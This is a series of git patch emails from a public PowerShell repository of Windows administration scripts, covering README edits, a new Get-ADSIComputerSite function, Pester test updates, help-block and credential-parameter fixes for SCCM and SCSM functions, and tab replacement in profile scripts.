00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Thu, 24 Oct 2019 20:31:30 -0700 Subject: [PATCH 162/561] Update README.md --- README.md | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index c10a2ae2..e35621d7 100644 --- a/README.md +++ b/README.md @@ -4,8 +4,5 @@ This repository is used for all my public scripts. Let me know if you have any issues using them, always space for improvement Feel free to fork -Blog: [https://lazywinadmin.github.io](https://lazywinadmin.github.io) - -Old Blog: [http://www.lazywinadmin.com](http://www.lazywinadmin.com) - -Twitter: [@LazyWinAdmin](https://twitter.com/LazyWinAdm) +* [Blog](https://lazywinadmin.com) +* [Twitter @LazyWinAdmin](https://twitter.com/LazyWinAdmin) From 1ab6093f48af7548206d456ef3a79a69da713263 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:11:16 -0800 Subject: [PATCH 163/561] move sapien editor presets --- .../LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset | 0 .../EditorPresets/LazyWinAdmin-Dark Theme-2.preset | 0 .../EditorPresets/LazyWinAdmin-Dark Theme.preset | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename {_PowerShellStudio => SAPIEN-PowerShellStudio-themes}/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset (100%) rename {_PowerShellStudio => SAPIEN-PowerShellStudio-themes}/EditorPresets/LazyWinAdmin-Dark Theme-2.preset (100%) rename {_PowerShellStudio => SAPIEN-PowerShellStudio-themes}/EditorPresets/LazyWinAdmin-Dark Theme.preset (100%) diff --git a/_PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset b/SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset similarity index 100% rename from _PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset rename to SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2-Font_AnonymousPro.preset diff --git a/_PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2.preset b/SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2.preset similarity index 100% rename from _PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme-2.preset rename to SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme-2.preset diff --git a/_PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme.preset b/SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme.preset similarity index 100% rename from _PowerShellStudio/EditorPresets/LazyWinAdmin-Dark Theme.preset rename to SAPIEN-PowerShellStudio-themes/EditorPresets/LazyWinAdmin-Dark Theme.preset From 840228eef1c06071a7928087c78fed789a434eaa Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:11:33 -0800 Subject: [PATCH 164/561] Add Get-ADSIComputerSite --- .../Get-ADSIComputerSite.ps1 | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 diff --git a/AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 b/AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 new file mode 100644 index 00000000..4b6d501b --- /dev/null +++ b/AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 @@ -0,0 +1,92 @@ +function Get-ADSIComputerSite +{ +<# +.SYNOPSIS + Function to retrieve the AD Site of a Computer + +.DESCRIPTION + Function to retrieve the AD Site of a Computer + + This function does not rely on the .NET Framework to retrieve the information + http://www.pinvoke.net/default.aspx/netapi32.dsgetsitename + + There is .NET method to get this information but only works on the local machine. + [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite() + +.PARAMETER ComputerName + Specifies the computer name(s) that you want to know the site. + +.EXAMPLE + Get-ADSIComputerName -ComputerName TestServer01 + + This will retrieve the Site of the Computer TestServer01 + +.EXAMPLE + Get-ADSIComputerName -ComputerName TestServer01,TestServer02 + + This will retrieve the Site of the Computers TestServer01 and TestServer02 + +.NOTES + https://github.com/lazywinadmin/ADSIPS + + Thanks to the Reddit folks for their help! :-) + https://www.reddit.com/r/PowerShell/comments/4cjdk8/get_the_ad_site_name_of_a_computer/ +#> + + [CmdletBinding()] + [OutputType('System.Management.Automation.PSCustomObject')] + param + ( + [parameter()] + [String[]]$ComputerName = $env:computername + ) + + begin + { + $code = @" +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; + +public static class NetApi32 { + private class unmanaged { + [DllImport("NetApi32.dll", CharSet=CharSet.Auto, SetLastError=true)] + internal static extern UInt32 DsGetSiteName([MarshalAs(UnmanagedType.LPTStr)]string ComputerName, out IntPtr SiteNameBuffer); + + [DllImport("Netapi32.dll", SetLastError=true)] + internal static extern int NetApiBufferFree(IntPtr Buffer); + } + + public static string DsGetSiteName(string ComputerName) { + IntPtr siteNameBuffer = IntPtr.Zero; + UInt32 hResult = unmanaged.DsGetSiteName(ComputerName, out siteNameBuffer); + string siteName = Marshal.PtrToStringAuto(siteNameBuffer); + unmanaged.NetApiBufferFree(siteNameBuffer); + if(hResult == 0x6ba) { throw new Exception("ComputerName not found"); } + return siteName; + } +} +"@ + + Add-Type -TypeDefinition $code + } + process + { + foreach ($Computer in $ComputerName) + { + try + { + $Properties = @{ + ComputerName = $Computer + SiteName = [NetApi32]::DsGetSiteName($Computer) + } + + New-Object -TypeName PSObject -property $Properties + } + catch + { + $pscmdlet.ThrowTerminatingError($_) + } + } + } +} \ No newline at end of file From 596f7ff9302370a30e0fb24faad559f10a8b707c Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:12:20 -0800 Subject: [PATCH 165/561] Fix Parameter Help for $Name --- AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 index 1e9e9379..7f205011 100644 --- a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 +++ b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 @@ -5,7 +5,7 @@ Find all Nested members of a group .DESCRIPTION Find all Nested members of a group - .PARAMETER GroupName + .PARAMETER Name Specify one or more GroupName to audit .Example Get-NestedMember -GroupName TESTGROUP From 53d3c488bb816728ff1969c53eb8f1e8a9f7ba53 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:14:25 -0800 Subject: [PATCH 166/561] Rename test folder and update pester tests --- {_Test => tests}/AD-TokenGroups_Test.ps1 | 0 {_Test => tests}/Add-LocalGroupMember.ps1 | 0 Help.Tests.ps1 => tests/help.tests.ps1 | 16 ++++++++++------ 3 files changed, 10 insertions(+), 6 deletions(-) rename {_Test => tests}/AD-TokenGroups_Test.ps1 (100%) rename {_Test => tests}/Add-LocalGroupMember.ps1 (100%) rename Help.Tests.ps1 => tests/help.tests.ps1 (78%) diff --git a/_Test/AD-TokenGroups_Test.ps1 b/tests/AD-TokenGroups_Test.ps1 similarity index 100% rename from _Test/AD-TokenGroups_Test.ps1 rename to tests/AD-TokenGroups_Test.ps1 diff --git a/_Test/Add-LocalGroupMember.ps1 b/tests/Add-LocalGroupMember.ps1 similarity index 100% rename from _Test/Add-LocalGroupMember.ps1 rename to tests/Add-LocalGroupMember.ps1 diff --git a/Help.Tests.ps1 b/tests/help.tests.ps1 similarity index 78% rename from Help.Tests.ps1 rename to tests/help.tests.ps1 index 7191cc81..d4d3df27 100644 --- a/Help.Tests.ps1 +++ b/tests/help.tests.ps1 @@ -1,5 +1,9 @@ -$scripts = Get-ChildItem -Path $PSScriptRoot -Recurse -Filter *.ps1 | - Where-Object FullName -NotMatch '.Tests.' +$scripts = Get-ChildItem -Path (Split-Path $PSScriptRoot -parent) -Recurse -Filter *.ps1 | + Where-Object -FilterScript { + $_.FullName -NotMatch '.Tests.' -and + $_.Fullname -notmatch [regex]::Escape('_Profiles') -and + $_.Fullname -notmatch [regex]::Escape('_Template') + } | Sort-Object [regex]$regex = "(^[A-Z\-]+-)" @@ -15,14 +19,14 @@ Describe -Tag 'Help' 'Help' { } elseif ($script.Name -match 'O365-') { $name = $script.BaseName.Replace($Matches[0], '') } elseif ($script.Name -match 'Function_Template.ps1') { - $name = 'Get-Something' + $name = 'Get-Something' } else { $name = $script.BaseName } # Only process functions and not scripts if ((Get-Content -Path $script.FullName -TotalCount 1) -match 'function') { - + # Dot Source script . $($script.FullName) @@ -31,7 +35,7 @@ Describe -Tag 'Help' 'Help' { It 'Contains Description' { $functionHelp.Description | Should Not BeNullOrEmpty } - + It 'Contains Synopsis' { $functionHelp.Synopsis | Should Not BeNullOrEmpty } @@ -44,7 +48,7 @@ Describe -Tag 'Help' 'Help' { $functionHelp.Parameters | Should Not BeNullOrEmpty } } else { - It "[$($script.BaseName)] is not a function and skipped" { + It "[$($script.BaseName)] is not a function" { } -Skip } } From 7542eae4f2ab7fe0806fbe3aad26bc3cba436081 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:27:18 -0800 Subject: [PATCH 167/561] upd tests to support functions without parameters --- tests/help.tests.ps1 | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/tests/help.tests.ps1 b/tests/help.tests.ps1 index d4d3df27..e6a5acd1 100644 --- a/tests/help.tests.ps1 +++ b/tests/help.tests.ps1 @@ -30,7 +30,9 @@ Describe -Tag 'Help' 'Help' { # Dot Source script . $($script.FullName) - $functionHelp = Get-Help $name -Full + $functionHelp = Get-Help -Name $name -Full + $functionContent = Get-Content -Path $script.FullName + $functionAST = [System.Management.Automation.Language.Parser]::ParseInput($functionContent, [ref]$null, [ref]$null) It 'Contains Description' { $functionHelp.Description | Should Not BeNullOrEmpty @@ -44,8 +46,11 @@ Describe -Tag 'Help' 'Help' { $functionHelp.Examples | Should Not BeNullOrEmpty } - It 'Contains Parameters' { - $functionHelp.Parameters | Should Not BeNullOrEmpty + if($functionAST.ParamBlock) + { + It 'Contains Parameters' { + $functionHelp.Parameters | Should Not BeNullOrEmpty + } } } else { It "[$($script.BaseName)] is not a function" { From f119df6dcd38db913b034d0c03998f21f39e8e78 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:29:03 -0800 Subject: [PATCH 168/561] Add DESCRIPTION help block --- SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 index ad55e7eb..e0720cd0 100644 --- a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -4,6 +4,9 @@ .SYNOPSIS Function to create a SCCM Task Sequence Application Variable during the OSD + .DESCRIPTION + Function to create a SCCM Task Sequence Application Variable during the OSD + .PARAMETER BaseVariableName Specifies the "Base Variable Name" present in the task "Install Application" of the Task Sequence. (In the 'Install application according to dynamic variable list' section) @@ -24,8 +27,8 @@ @lazywinadmin #> - PARAM ([String]$BaseVariableName, - + PARAM ( + [String]$BaseVariableName, [String[]]$ApplicationList ) @@ -41,7 +44,7 @@ $Counter = 1 # Foreach Application we create an incremented variable - $ApplicationList | ForEach-Object { + $ApplicationList | ForEach-Object -Process { # Define the Variable Name $Variable = "$BaseVariableName{0:00}" -f $Counter From 026c877e83bd9f69257d2f4c4c6759ab27edccfb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:34:06 -0800 Subject: [PATCH 169/561] Add help example Remove-SCCMUserDeviceAffinity --- .../Remove-SCCMUserDeviceAffinity.ps1 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 index d27f0c7c..04e03bbc 100644 --- a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 +++ b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 @@ -22,6 +22,15 @@ .PARAMETER Credential Specifies alternative credentials to use + .EXAMPLE + $Params = @{ + SiteCode = 'FXC' + SiteServer = 'SCCMServer1' + DeviceID = 'FXC00045' + Credential = (Get-Credential 'FX/SccmGuru') + } + Remove-SCCMUserDeviceAffinity @Params + .NOTES Francois-Xavier Cat lazywinadmin.com From a5a9c65bf1173b3b027994039c1b3bf04af7a865 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 25 Nov 2019 23:34:39 -0800 Subject: [PATCH 170/561] Update Help, Error Handling, Cred param types --- .../Set-SCCMClientCacheLocation.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 index 280cb7b4..d65befd5 100644 --- a/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 +++ b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 @@ -1,7 +1,7 @@ function Set-SCCMClientCacheLocation { <# - .SYNOPSYS + .SYNOPSIS Function to set the cache location on a SCCM Client .DESCRIPTION Function to set the cache location on a SCCM Client @@ -28,6 +28,7 @@ [Switch]$ServiceRestart, [Alias('RunAs')] + [pscredential] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty ) @@ -70,8 +71,7 @@ } CATCH { - Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" - $Error[0].execption.message + $PSCmdlet.ThrowTerminatingError($_) } } } From a3f79bd586c756b1ad9317a24e506301fe79c4d1 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 00:05:59 -0800 Subject: [PATCH 171/561] Update Help and Credential param --- SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 index 2dabd278..1bdef298 100644 --- a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -1,7 +1,7 @@ function Set-SCCMClientCacheSize { <# - .SYNOPSYS + .SYNOPSIS Function to set the cache size on a SCCM Client .DESCRIPTION Function to set the cache size on a SCCM Client @@ -28,6 +28,7 @@ [Switch]$ServiceRestart, [Alias('RunAs')] + [PSCredential] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty ) From 92887cf260c1a5317de83a0ac723e22cc3d8ba66 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 00:06:32 -0800 Subject: [PATCH 172/561] Add Comment based help --- .../Add-SCSMServiceRequestComment.ps1 | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 index 1a061f40..a0f311e6 100644 --- a/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 +++ b/SCSM-Add-SCSMServiceRequestComment/Add-SCSMServiceRequestComment.ps1 @@ -1,5 +1,24 @@ Function Add-SCSMServiceRequestComment { + <# + .SYNOPSIS + Function to add a comment to a Service Request + .DESCRIPTION + Function to add a comment to a Service Request + .PARAMETER SRObject + Specify the Service Request Object + .PARAMETER Comment + Specify the comment text to add + .PARAMETER EnteredBy + Specify the Author of the comment + .PARAMETER AnalystComment + Use if the comment is made by an Analyst + .PARAMETER IsPrivate + Use if the comment is private + .EXAMPLE + Add-SCSMServiceRequestComment -SRObject $SR -Comment "This is a Comment" -EnteredBy 'FX' + #> + [CmdletBinding()] param ( [parameter(Mandatory = $True, Position = 0)] $SRObject, From bf51166fecc904631ab7fffe5b2c98bfbde16978 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 00:06:49 -0800 Subject: [PATCH 173/561] Add comment based help, update parameter --- .../Get-SCSMUserManager.ps1 | 69 +++++++++++-------- 1 file changed, 40 insertions(+), 29 deletions(-) diff --git a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 index 689e03b9..4d5ea8f6 100644 --- a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 +++ b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 @@ -1,42 +1,53 @@ Function Get-SCSMUserManager { + <# + .SYNOPSIS + Function to retrieve the manager of a user + .DESCRIPTION + Function to retrieve the manager of a user + .PARAMETER UserID + Specify the User ID + .EXAMPLE + Get-SCSMUserManager -UserID $UserID + #> + [CmdletBinding()] Param ( - $input_affectedUser_id + [Alias('input_affectedUser_id')] + [String]$UserID ) + try{ + ## Return Variables + $managerOfAffectedUser_obj = $null - ## Return Variables - $managerOfAffectedUser_obj = $null - - ## MAIN - $affectedUser_obj = get-scsmobject -id $input_affectedUser_id - $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' - $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | Where-Object{ $_.relationshipId -eq $userManagesUser_relclass_id } + ## MAIN + $affectedUser_obj = get-scsmobject -id $UserID + $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' + $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | + Where-Object -FilterScript { + $_.relationshipId -eq $userManagesUser_relclass_id + } - ## Check if Manager User Exists and that the relationship is current. - ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new - ## relationships + ## Check if Manager User Exists and that the relationship is current. + ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new + ## relationships - If ($managerOfAffectedUser_relobjs -ne $null) - { - ForEach ($managerOfAffectedUser_relobj in $managerOfAffectedUser_relobjs) + If ($managerOfAffectedUser_relobjs -ne $null) { - If ($managerOfAffectedUser_relobj.IsDeleted -eq $True) + ForEach ($managerOfAffectedUser_relobj in $managerOfAffectedUser_relobjs) { - #The relationship no longer exists. Returning nothing - # which will effectively keep the managerOfAffectedUser_obj the same as before. - } - Else - { - #The relationship exists, setting managerOfAffectedUser_relExists to true. - $managerOfAffectedUser_id = $managerofaffecteduser_relobj.SourceObject.Id.Guid - $managerOfAffectedUser_obj = get-scsmobject -id $managerofaffecteduser_id + If ($managerOfAffectedUser_relobj.IsDeleted -eq $True) + { + #The relationship no longer exists. Returning nothing + # which will effectively keep the managerOfAffectedUser_obj the same as before. + } + Else + { + #The relationship exists, setting managerOfAffectedUser_relExists to true. + get-scsmobject -id ($managerofaffecteduser_relobj.SourceObject.Id.Guid) + } } } + }catch{ + $PSCmdlet.ThrowTerminatingError($_) } - Else - { - #No Affected User Exists - $managerOfAffectedUser_obj = $null - } - $managerOfAffectedUser_obj } \ No newline at end of file From ed0f9952e03334469e733f94643f4e2ea17caa52 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 26 Nov 2019 00:25:06 -0800 Subject: [PATCH 174/561] replace tabs --- _Profiles/Microsoft.PowerShell_profile.ps1 | 50 +++---- _Profiles/functions/Find-Apartment.ps1 | 14 +- _Profiles/functions/Get-NetAccelerator.ps1 | 2 +- _Profiles/functions/Test-ADCredential.ps1 | 16 +-- _Profiles/functions/connect-office365.ps1 | 160 ++++++++++----------- 5 files changed, 121 insertions(+), 121 deletions(-) diff --git a/_Profiles/Microsoft.PowerShell_profile.ps1 b/_Profiles/Microsoft.PowerShell_profile.ps1 index 3bae3834..0e805139 100644 --- a/_Profiles/Microsoft.PowerShell_profile.ps1 +++ b/_Profiles/Microsoft.PowerShell_profile.ps1 @@ -1,12 +1,12 @@ <# - .SYNOPSIS - Profile File - .DESCRIPTION - Profile File - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin + .SYNOPSIS + Profile File + .DESCRIPTION + Profile File + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> ######################### @@ -34,11 +34,11 @@ $IsAdmin = $WindowsPrincipal.IsInRole($Administrator) # Set Window Title if ($isAdmin) { - $host.UI.RawUI.WindowTitle = "Administrator: $ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" + $host.UI.RawUI.WindowTitle = "Administrator: $ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" } else { - $host.UI.RawUI.WindowTitle = "$ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" + $host.UI.RawUI.WindowTitle = "$ENV:USERNAME@$ENV:COMPUTERNAME - $env:userdomain" } #> @@ -59,11 +59,11 @@ Import-Module -Name PSReadline if(Get-Module -name PSReadline) { - # Set Shortcuts for History Search - # Start typing, for example "Get-" then press up and down arrow, it'll show all - # commands in my story that started by "Get-" - Set-PSReadlineKeyHandler -Key UpArrow -Function HistorySearchBackward - Set-PSReadlineKeyHandler -Key DownArrow -Function HistorySearchForward + # Set Shortcuts for History Search + # Start typing, for example "Get-" then press up and down arrow, it'll show all + # commands in my story that started by "Get-" + Set-PSReadlineKeyHandler -Key UpArrow -Function HistorySearchBackward + Set-PSReadlineKeyHandler -Key DownArrow -Function HistorySearchForward } @@ -83,21 +83,21 @@ if (Test-Path $env:USERPROFILE\OneDrive){$OneDriveRoot = "$env:USERPROFILE\OneDr # This will change the prompt function prompt { - #Get-location - Write-output "PS [LazyWinAdmin.com]> " + #Get-location + Write-output "PS [LazyWinAdmin.com]> " } # Get the current script directory function Get-ScriptDirectory { - if ($hostinvocation -ne $null) - { - Split-Path $hostinvocation.MyCommand.path - } - else - { - Split-Path $script:MyInvocation.MyCommand.Path - } + if ($hostinvocation -ne $null) + { + Split-Path $hostinvocation.MyCommand.path + } + else + { + Split-Path $script:MyInvocation.MyCommand.Path + } } $MyInvocation.MyCommand diff --git a/_Profiles/functions/Find-Apartment.ps1 b/_Profiles/functions/Find-Apartment.ps1 index b901de80..4b5cd3a2 100644 --- a/_Profiles/functions/Find-Apartment.ps1 +++ b/_Profiles/functions/Find-Apartment.ps1 @@ -1,12 +1,12 @@ Function Find-Apartment { - <# - .SYNOPSIS - Allow you search Appartement in craigslist - .DESCRIPTION - .NOTES - #http://masterrex.com/?p=64 - #> + <# + .SYNOPSIS + Allow you search Appartement in craigslist + .DESCRIPTION + .NOTES + #http://masterrex.com/?p=64 + #> param ( [Parameter(Mandatory=$False)]$MinPrice="0", [Parameter(Mandatory=$False)]$MaxPrice="9999", diff --git a/_Profiles/functions/Get-NetAccelerator.ps1 b/_Profiles/functions/Get-NetAccelerator.ps1 index 5fc02493..e7cd3144 100644 --- a/_Profiles/functions/Get-NetAccelerator.ps1 +++ b/_Profiles/functions/Get-NetAccelerator.ps1 @@ -1,4 +1,4 @@ function Get-Accelerators { - [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get + [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get } \ No newline at end of file diff --git a/_Profiles/functions/Test-ADCredential.ps1 b/_Profiles/functions/Test-ADCredential.ps1 index bb2a4617..9703baed 100644 --- a/_Profiles/functions/Test-ADCredential.ps1 +++ b/_Profiles/functions/Test-ADCredential.ps1 @@ -1,10 +1,10 @@ Function Test-ADCredential { - Param($username, $password, $domain) - Add-Type -AssemblyName System.DirectoryServices.AccountManagement - $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain - $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) - New-Object PSObject -Property @{ - UserName = $username; - IsValid = $pc.ValidateCredentials($username, $password).ToString() - } + Param($username, $password, $domain) + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) + New-Object PSObject -Property @{ + UserName = $username; + IsValid = $pc.ValidateCredentials($username, $password).ToString() + } } diff --git a/_Profiles/functions/connect-office365.ps1 b/_Profiles/functions/connect-office365.ps1 index dd312249..4e200c50 100644 --- a/_Profiles/functions/connect-office365.ps1 +++ b/_Profiles/functions/connect-office365.ps1 @@ -3,10 +3,10 @@ <# .SYNOPSIS This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .DESCRIPTION This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .EXAMPLE Connect-Office365 @@ -15,96 +15,96 @@ Connect-Office365 -verbose This will prompt for your credentials and connect to the Office365 services. - Additionally you will see verbose messages on the screen to follow what is happening in the background + Additionally you will see verbose messages on the screen to follow what is happening in the background .NOTE Francois-Xavier Cat lazywinadmin.com @lazywinadmin #> - [CmdletBinding()] - PARAM () - BEGIN - { - TRY - { - #Modules - IF (-not (Get-Module -Name MSOnline -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Azure Active Directory" - Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline - } + [CmdletBinding()] + PARAM () + BEGIN + { + TRY + { + #Modules + IF (-not (Get-Module -Name MSOnline -ListAvailable)) + { + Write-Verbose -Message "BEGIN - Import module Azure Active Directory" + Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline + } - IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Lync Online" - Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline - } - } - CATCH - { - Write-Warning -Message "BEGIN - Something went wrong!" - IF ($ErrorBeginIpmoMSOnline) - { - Write-Warning -Message "BEGIN - Error while importing MSOnline module" - } - IF ($ErrorBeginIpmoLyncOnline) - { - Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" - } + IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) + { + Write-Verbose -Message "BEGIN - Import module Lync Online" + Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline + } + } + CATCH + { + Write-Warning -Message "BEGIN - Something went wrong!" + IF ($ErrorBeginIpmoMSOnline) + { + Write-Warning -Message "BEGIN - Error while importing MSOnline module" + } + IF ($ErrorBeginIpmoLyncOnline) + { + Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" + } - Write-Warning -Message $error[0].exception.message - } - } - PROCESS - { - TRY - { + Write-Warning -Message $error[0].exception.message + } + } + PROCESS + { + TRY + { - # CREDENTIAL - Write-Verbose -Message "PROCESS - Ask for Office365 Credential" - $O365cred = Get-Credential -ErrorAction Stop -ErrorVariable ErrorCredential + # CREDENTIAL + Write-Verbose -Message "PROCESS - Ask for Office365 Credential" + $O365cred = Get-Credential -ErrorAction Stop -ErrorVariable ErrorCredential - # AZURE ACTIVE DIRECTORY (MSOnline) - Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" - Connect-MsolService -Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectMSOL + # AZURE ACTIVE DIRECTORY (MSOnline) + Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" + Connect-MsolService -Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectMSOL - # EXCHANGE ONLINE - Write-Verbose -Message "PROCESS - Create session to Exchange online" - $ExchangeURL = "https://ps.outlook.com/powershell/" - $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $O365cred -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange + # EXCHANGE ONLINE + Write-Verbose -Message "PROCESS - Create session to Exchange online" + $ExchangeURL = "https://ps.outlook.com/powershell/" + $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $O365cred -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange - Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" - Import-PSSession -Session $O365PS –Prefix ExchCloud + Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" + Import-PSSession -Session $O365PS –Prefix ExchCloud - # LYNC ONLINE (LyncOnlineConnector) - Write-Verbose -Message "PROCESS - Create session to Lync online" - $lyncsession = New-CsOnlineSession –Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectExchange - Import-PSSession -Session $lyncsession -Prefix LyncCloud + # LYNC 